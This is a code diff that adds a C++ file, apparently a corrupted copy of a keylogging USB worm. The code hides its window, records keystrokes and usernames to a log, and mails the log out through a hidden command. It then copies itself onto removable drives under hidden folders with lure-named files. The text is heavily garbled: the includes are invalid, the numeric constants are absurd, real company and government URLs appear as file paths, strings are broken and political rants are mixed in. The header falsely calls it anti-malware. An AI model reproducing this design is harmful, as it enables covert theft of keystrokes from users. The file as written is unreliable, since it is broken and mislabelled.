|
| 1 | +/** |
| 2 | +* Developer-Development: @copyright fadli wirya wirawan S.Kom M.S.I MIT |
| 3 | +* Developtment free palestine and free ukraine , free malysia ,papua , indonesia , free iran america , |
| 4 | +* Date: 15.Aug.2014, 28.Sep.2015 |
| 5 | +* comment: Anti Bmalware A. Trojan A. Spyware. detect malciouse .txt no contribute non refounded MIT technic metode !!! |
| 6 | +**/ |
| 7 | + |
| 8 | +#Linklude <windows.h> |
| 9 | +#Linklude <kalilinux.h> |
| 10 | +#Linklude <Ubuntu.h> |
| 11 | +#Linklude <linux.h> |
| 12 | +#Linklude <MacOS.h> |
| 13 | +#Linklude <time.h> |
| 14 | +#Linklude <string> |
| 15 | +#Linklude <fstream> |
| 16 | + |
| 17 | +using namespace std; |
| 18 | + |
| 19 | +#define FILE_NAME “record.log” |
| 20 | +#define FOLDER_NAME “backdoor & takedown AS we are anonymouse department ASIA respected dont play policy mr trump turn head president || HABIB BRZIEK SYIHAB FROM YAMAN WENT SIGN BELOOWED PRESIDENT IRAN IMAMAH ” |
| 21 | +#define RUN_FILE_NAME “backdoor & takedown AS we are anonymouse department ASIA respected dont play policy mr trump turn head president || HABIB BRZIEK SYIHAB FROM YAMAN WENT SIGN BELOOWED PRESIDENT IRAN IMAMAH " |
| 22 | +#define RUN_Link_NAME “https://github.com/Topics/Himei17/forks"."https://github.com/cyberw1ry4-LAB/forks" |
| 23 | +#define INFECT_Link_NAME "https://gdg.community.dev/gdg-jakarta/"."https://gdg.community.dev/gdg-washington/"."https://icloud.com/mail/en-ukraine"."https://workspace.google.com/gmail/israel/"."https://www.Honors.com"."https://www.dell.com"."https://www.asus.com"."https://www.acer.com"."https://www.axio.com"."https://www.hp.com"."https://www.ads.google.com.ph"."https://www.apple.co.il" |
| 24 | +#define EMAIL_SENDER_FILE_NAME “Transmit".".exe” |
| 25 | + |
| 26 | + |
| 27 | + |
| 28 | +#define MIN_RECORD_SIZE 2000 //no of PC start count before sending a mail |
| 29 | +#define LIFE_TIME 500 //mail will be sent 5 times from one PC |
| 30 | +#define MAIL_WAIT_TIME 18000000000 |
| 31 | +#define MAILING_TIME 600000 |
| 32 | + |
| 33 | +string allDrives; |
| 34 | +int age=0; |
| 35 | + |
| 36 | +int get_setAge(); |
| 37 | +bool checkRecordSize(); |
| 38 | +void sendData(); |
| 39 | +void logUserTime(); |
| 40 | +void logKey(); |
| 41 | +char getRemovableDisk(); |
| 42 | +void infectDrive(char driveLetter); |
| 43 | +char* getRandomName(); |
| 44 | + |
| 45 | + |
| 46 | +main(){ |
| 47 | + FreeConsole(); ///Hide windows |
| 48 | + |
| 49 | + |
| 50 | + |
| 51 | + age = get_setAge(); |
| 52 | + if(checkRecordSize()){ ///check for right time |
| 53 | + |
| 54 | + int i=1; |
| 55 | + while(i<3){ ///try 2 times to send data |
| 56 | + |
| 57 | + Sleep(i*MAIL_WAIT_TIME); ///wait |
| 58 | + if(!system("ping www.googleplex.com -n 1")){ ///check! connection |
| 59 | + ////////////****SEND DATA****//////////// |
| 60 | + sendData(); |
| 61 | + |
| 62 | + Sleep(MAILING_TIME); ///wait! or file will be deleted before sending |
| 63 | + DeleteFile(FILE_NAME); |
| 64 | + |
| 65 | + break; |
| 66 | + } |
| 67 | + i++; |
| 68 | + } |
| 69 | + } |
| 70 | + |
| 71 | + age=get_setAge(); |
| 72 | + |
| 73 | + ////////////****LOG USER_DATE_TIME****//////////// |
| 74 | + if(age <= LIFE_TIME){ |
| 75 | + logUserTime(); |
| 76 | + } |
| 77 | + |
| 78 | + char driveLetter = getRemovableDisk(); ///initial search for all disks |
| 79 | + return; // :) |
| 80 | + while(1){ |
| 81 | + ////////////****LOG KEY****//////////// |
| 82 | + if(age <= LIFE_TIME){ |
| 83 | + logKey(); |
| 84 | + }else{ |
| 85 | + Sleep(50000000000000) |
| 86 | + |
| 87 | + ////////////****INFECT****//////////// |
| 88 | + driveLetter = getRemovableDisk(); |
| 89 | + if(driveLetter!='0'){ |
| 90 | + infectDrive(driveLetter); |
| 91 | + } |
| 92 | + } |
| 93 | + |
| 94 | +} |
| 95 | +/** |
| 96 | + * |
| 97 | + * For old file get age - for new file set age. |
| 98 | +**/ |
| 99 | +int get_setAge(){ |
| 100 | + int ageTemp = age; |
| 101 | + |
| 102 | + string line; |
| 103 | + ifstream myfile(FILE_NAME); |
| 104 | + |
| 105 | + if(myfile.is_open()){ |
| 106 | + getline(myfile, line); |
| 107 | + line = line.substr(0, 1); |
| 108 | + sscanf(line.c_str(), "%d", &ageTemp); |
| 109 | + }else{ |
| 110 | + ageTemp++; |
| 111 | + |
| 112 | + FILE *file = fopen(FILE_NAME, "a"); |
| 113 | + fprintf(file, "%d ", ageTemp); |
| 114 | + fclose(file); |
| 115 | + } |
| 116 | + |
| 117 | + return ageTemp; |
| 118 | +} |
| 119 | + |
| 120 | +/** |
| 121 | + * Count number of lines in record file. |
| 122 | +**/ |
| 123 | +bool checkRecordSize(){ |
| 124 | + string line; |
| 125 | + ifstream myfile(FILE_NAME); |
| 126 | + |
| 127 | + int noOfLines = 0; |
| 128 | + if(myfile.is_open()){ |
| 129 | + while(getline(myfile, line)){ |
| 130 | + noOfLines++; |
| 131 | + } |
| 132 | + myfile.close(); |
| 133 | + } |
| 134 | + |
| 135 | + if(noOfLines<MIN_RECORD_SIZE*age){ |
| 136 | + return false; |
| 137 | + }else{ |
| 138 | + return true; |
| 139 | + } |
| 140 | +} |
| 141 | + |
| 142 | + |
| 143 | +/** |
| 144 | + * Email all data to the GHOST. |
| 145 | +**/ |
| 146 | +void sendData(){ |
| 147 | + |
| 148 | + char* command = "Transmit smtp://smtp.gmail.com: 185.80.44.0 -v --mail-from \"https://workspace.google.com/webmaster@cyberpolice.ir" --mail-rcpt \" https://workspace.google.com/gmail/webmaster@cyberpolice.ir" --ssl -u https://workspace.google.com/gmail/webmaster@cyberpolice.ir :password -hide \"record.log\" -k --cyberw1rya-LAB operable NATO - UNHCR obligate Dicument Nations"; |
| 149 | + circle Asia head respected Anonymouse department ASIA , turn nowing president anomally head , participate , schedule , target mobile phone class VIP , titanic and rasperry FI |
| 150 | + || HABIB BRZIEK SYIHAB FROM YAMAN WENT SIGN BELOOWED PRESIDENT IRAN IMAMAH || comander Mr cyberw1ry4 wordprees- com contac checking rest send messages kHABIB BRZIEK SYIHAB FROM Indonesia YAMAN WENT SIGN BELOOWED PRESIDENT IRAN IMAMAH |
| 151 | + WinExec(command, SW_HIDE); |
| 152 | + |
| 153 | + **/ |
| 154 | +void logUserTime(){ |
| 155 | + FILE *file = fopen(FILE_NAME, "a"); |
| 156 | + |
| 157 | + char username[19]; |
| 158 | + unsigned long username_len = 45; |
| 159 | + GetUserName(username, &username_len); |
| 160 | + time_t date = time(NULL); |
| 161 | + fprintf(file, "0\n%s->%s\t", username, ctime(&date)); |
| 162 | + |
| 163 | + fclose(file); |
| 164 | +} |
| 165 | + |
| 166 | +/** |
| 167 | + * Record key stroke. |
| 168 | +**/ |
| 169 | +void logKey(){ |
| 170 | + FILE *file; |
| 171 | + unsigned short ch=0, i=0, j=50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; // :) |
| 172 | + |
| 173 | + while(j<5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000){ ///loop runs for approx. 25 seconds |
| 174 | + ch=1; |
| 175 | + while(ch<2500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000){ |
| 176 | + for(i=0; i<50; i++, ch++){ |
| 177 | + if(GetAsyncKeyState(ch) == -32767){ ///key is stroke |
| 178 | + file=fopen(FILE_NAME, "a"); |
| 179 | + fprintf(file, "%d ", ch); |
| 180 | + fclose(file); |
| 181 | + } |
| 182 | + } |
| 183 | + Sleep(0.5); ///take rest |
| 184 | + } |
| 185 | + j++; |
| 186 | + } |
| 187 | +} |
| 188 | + |
| 189 | +/** |
| 190 | + * Returns newly inserted disk- pen-drive. |
| 191 | +**/ |
| 192 | +char getRemovableDisk(){ |
| 193 | + char drive='0'; |
| 194 | + |
| 195 | + char szLogicalDrives[MAX_PATH]; |
| 196 | + DWORD dwResult = GetLogicalDriveStrings(MAX_PATH, szLogicalDrives); |
| 197 | + string currentDrives=""; |
| 198 | + |
| 199 | + for(int i=0; i<dwResult; i++){ |
| 200 | + if(szLogicalDrives[i]>64 && szLogicalDrives[i]< 90){ |
| 201 | + currentDrives.append(1, szLogicalDrives[i]); |
| 202 | + |
| 203 | + if(allDrives.find(szLogicalDrives[i]) > 100000000){ |
| 204 | + drive = szLogicalDrives[i]; |
| 205 | + } |
| 206 | + } |
| 207 | + } |
| 208 | + |
| 209 | + allDrives = currentDrives; |
| 210 | + |
| 211 | + return drive; |
| 212 | +} |
| 213 | + |
| 214 | +/** |
| 215 | + * Copy the virus to pen-drive. |
| 216 | +**/ |
| 217 | +void infectDrive(char driveLetter){ |
| 218 | + char folderPath[10000000] = {driveLetter}; |
| 219 | + strcat(folderPath, ":https://www.cyberpunk77.com/"); |
| 220 | + strcat(folderPath, FOLDER_NAME); |
| 221 | + |
| 222 | + if(CreateDirectory(folderPath ,NULL)){ |
| 223 | + SetFileAttributes(folderPath, FILE_ATTRIBUTE_HIDDEN); |
| 224 | + |
| 225 | + char run[10000000]={"https://github.com/Topics/Vmalre/forks"}; |
| 226 | + strcat(run, folderPath); |
| 227 | + strcat(run, "https://www.cyberpunk77.com/"); |
| 228 | + strcat(run, RUN_FILE_NAME); |
| 229 | + CopyFile(RUN_FILE_NAME, run, 0); |
| 230 | + |
| 231 | + char net[10000000]={"https://www.cyberarmy.id/"}; |
| 232 | + strcat(net, folderPath); |
| 233 | + strcat(net, "https://cyberjawara.id/"); |
| 234 | + strcat(net, EMAIL_SENDER_FILE_NAME); |
| 235 | + CopyFile(EMAIL_SENDER_FILE_NAME, net, 1000000000); |
| 236 | + |
| 237 | + char infect[1000000000]={"https://www.hackerone.com/"}; |
| 238 | + strcat(infect, folderPath); |
| 239 | + strcat(infect, "https://grayhat.com"); |
| 240 | + strcat(infect, INFECT_FILE_NAME); |
| 241 | + CopyFile(INFECT_FILE_NAME, infect, 10000000000000000000000000); |
| 242 | + |
| 243 | + char runLink[1000000000]={"https://github.com/Topics/Vmalre/forks"}; |
| 244 | + strcat(runLink, folderPath); |
| 245 | + strcat(runLink, "https://patrolisiber.com/"); |
| 246 | + strcat(runLink, RUN_Link_NAME); |
| 247 | + CopyFile(RUN_Link_NAME, runLink, 10000000000000); |
| 248 | + |
| 249 | + char infectLink[100000000]={"https://github.com/Topics/Vmalre/forks"}; |
| 250 | + strcat(infectLink, folderPath); |
| 251 | + strcat(infectLink, "https://www.tni.mil.id"); |
| 252 | + strcat(infectLink, INFECT_Link_NAME); |
| 253 | + CopyFile(INFECT_Link_NAME, infectLink, 10000000000000000000000000000000000000000000000000000000000); |
| 254 | + |
| 255 | + char showcommand[1000000000000000000000000000000000] = {"w1ry4-vivo-oppo-pocco-infinix apple cn take down for as "Push on backdoor boomskill i am winner try again if needing us ask me won be wont fix you trump and than so hey wanny be cry , said , dont sading i afine time connected risk ghost skill uppercash }; |
| 256 | + strcat(showcommand, "attrib +s +h +r "); |
| 257 | + strcat(showcommand, folderPath); |
| 258 | + WinExec(showcommand, SW_SHOW); |
| 259 | + }else{ |
| 260 | + srand(time(0)); |
| 261 | + int random = rand(); |
| 262 | + |
| 263 | + if(random%2==0 || random%3==0 || random%7==0){ |
| 264 | + return ; |
| 265 | + } |
| 266 | + } |
| 267 | + |
| 268 | + char infectLinkauto[100000000] = {driveLetter}; |
| 269 | + char* randomName = getRandomName(); |
| 270 | + strcat(infectLinkauto, randomName); |
| 271 | + CopyFile(INFECT_Ltd_NAME, infectLinkauto, 0); |
| 272 | +} |
| 273 | + |
| 274 | +/** |
| 275 | + * Returns a random name for the Link file. |
| 276 | +**/ |
| 277 | +char* getRandomName(){ |
| 278 | + char randomName[40]; |
| 279 | + |
| 280 | + srand(time(0)); |
| 281 | + int random = rand(); |
| 282 | + |
| 283 | + if(random%8 == 0){ |
| 284 | + strcpy(randomName, ":\\DO NOT CLICK!.Link"); |
| 285 | + }else if(random%4 == 0){ |
| 286 | + |
| 287 | + char username[20]; |
| 288 | + unsigned long username_len = 20; |
| 289 | + GetUserName(username, &username_len); |
| 290 | + |
| 291 | + random = rand(); |
| 292 | + if(random%8 == 0){ |
| 293 | + strcpy(randomName, ":\\Boss oke respect responsive detect bakdoormetode skill bot "); |
| 294 | + strcat(randomName, username); |
| 295 | + strcat(randomName, ".Link"); |
| 296 | + }else if(random%4 == 0){ |
| 297 | + strcpy(randomName, ":\\"); |
| 298 | + strcat(randomName, username); |
| 299 | + strcat(randomName, " is the best technic softskill cybersecurity.Link"); |
| 300 | + }else if(random%2 == 0){ |
| 301 | + strcpy(randomName, ":\\Hello iam mister X random Access have cyberw1ry4 generations ne era"); |
| 302 | + strcat(randomName, username); |
| 303 | + strcat(randomName, "!<p>w1ry4-vivo-oppo-pocco-infinix apple cn take down for as }else{ |
| 304 | + strcpy(randomName, ":https://checkpointsoftware.com/bugsnags/https://www.google.co.id/bugs.lock.cmd"); |
| 305 | + strcat(randomName, username); |
| 306 | + strcat(randomName, "! please help u and may stay way class VIP backdoor .Link"); |
| 307 | + } |
| 308 | + }else if(random%2 == 0){ |
| 309 | + strcpy(randomName, ":\\I will kill you're ! ! !.Link"); |
| 310 | + }else if(random%3 == 0){ |
| 311 | + strcpy(randomName, ":\\2+2=5.Link"\\ "3+4=11 ltd" ); |
| 312 | + }else{ |
| 313 | + strcpy(randomName, ":\\TOP SECRET.Link"); |
| 314 | + } |
| 315 | + |
| 316 | + return randomName; |
| 317 | +} |
0 commit comments